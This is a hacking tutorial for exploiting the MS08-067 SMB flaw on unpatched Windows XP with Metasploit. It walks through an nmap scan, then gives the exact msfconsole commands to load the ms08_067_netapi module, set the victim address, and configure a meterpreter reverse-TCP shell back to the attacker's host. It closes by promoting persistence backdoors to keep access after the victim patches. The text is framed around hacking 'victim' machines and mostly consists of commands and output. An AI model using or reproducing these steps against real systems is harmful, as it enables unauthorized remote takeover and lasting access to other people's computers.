MS08-067: Vulnerability in Server Service Could Allow Remote Code Execution (958644)

======================================================================================================================
Using metasploit its possible to hack windows xp machines just by using the ip address of the victim machine. It does not involve installing any backdoor or trojan server on the victim machine. Metasploit does this by exploiting a vulnerability in windows samba service called ms08-67. This exploit works on windows xp upto version xp sp3.

Further details and references to the vulnerability can be found at the following pages

==================================================================================================================
Note : This exploit is old as of now and will work only if the windows xp on the target machine is unpatched and not running any firewalls. If you were to scan a range of ip addresses to discover online windows xp machines, then most of them would likely be patched ( through automatic updates ).
====================================================================================================================

So if you want to test and practise this exploit, setup a vulnerable unpatched xp system.
Scan for open ports

Before exploiting the xp machine with metasploit it is a good idea to scan for open ports using nmap to confirm that ports are accessible and accepting connections. Here is a quick example

root@cyberdark:~# nmap -n -sV 192.168.1.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-03 06:27 PDT
Nmap scan report for 192.168.1.4
Host is up (0.00051s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp open  http         Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
MAC Address: 08:00:27:D3:2C:37 (Cadmus Computer Systems)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds

Check the port number 445. It is running the microsoft-ds samba service. This service is used to share printers and files across the network. It is this service that is vulnerable to the above mentioned exploit and would be hacked next using metasploit.
=========================================================================================================================
Exploit using metasploit

1. The exploit is quite easy to launch. Start msfconsole.

Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1059 exploits - 595 auxiliary - 175 post
+ -- --=[ 277 payloads - 29 encoders - 8 nops

msf >

2. Select the exploit with 'use' command.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

If you want to read information about the exploit then type 'info' and hit enter.

3. See the options available

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) >

The important option to set is the RHOST (Remote Host). This is the ip address of the victim machine that is running the vulnerable windows xp. In this example the ip address is 192.168.1.4
So set the option

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
RHOST => 192.168.1.4
msf exploit(ms08_067_netapi) >

4. Select the payload

Next comes the payload. Payload is that piece of code that runs along with the exploit and provides the hacker with a reverse shell. We are going to use the windows meterpreter payload. If you want to see all the available payloads then use the 'show payloads' command.

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Why meterpreter ? Because meterpreter is a very powerful kind of reverse shell that has lots of functionality already built in. The functionality includes common post exploitation tasks like scanning the target's network, hardware, accessing devices etc. Meterpreter can also start a vnc session.

5. Check options once again

Now that we have selected out payload, its time to check the options once again.

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.4      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) >

Now the options also include the payload options. The important options to set are LHOST and LPORT. The LHOST is the ip address of local machine or hacker machine. The LPORT is the port number on which the reverse shell listener will receive the incoming shell.

So setup the correct values

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666
msf exploit(ms08_067_netapi) >

6. Launch the exploit

Now metasploit is all configured to launch the exploit. Enter 'exploit' and hit enter.

msf exploit(ms08_067_netapi) > exploit

After successfully exploit windows is important Persistence

How to Create a Persistence Backdoor after exploit in windows OS using Metasploit and why need Persistence after exploit windows victim

Previous posts i explained how to exploit and gain access in window OS , after gaining access its important to create a backdoor to exploit again.



If you have succeed to exploit a system you may consider to place a back-door in order to connect again easily with your target.For example if the user decides to install a patch or to remove the vulnerable service in his system then you will need to figure out an alternative way for getting again access to the remote system.That’ss why back-doors are important because they can maintain access to a system that you have compromised.
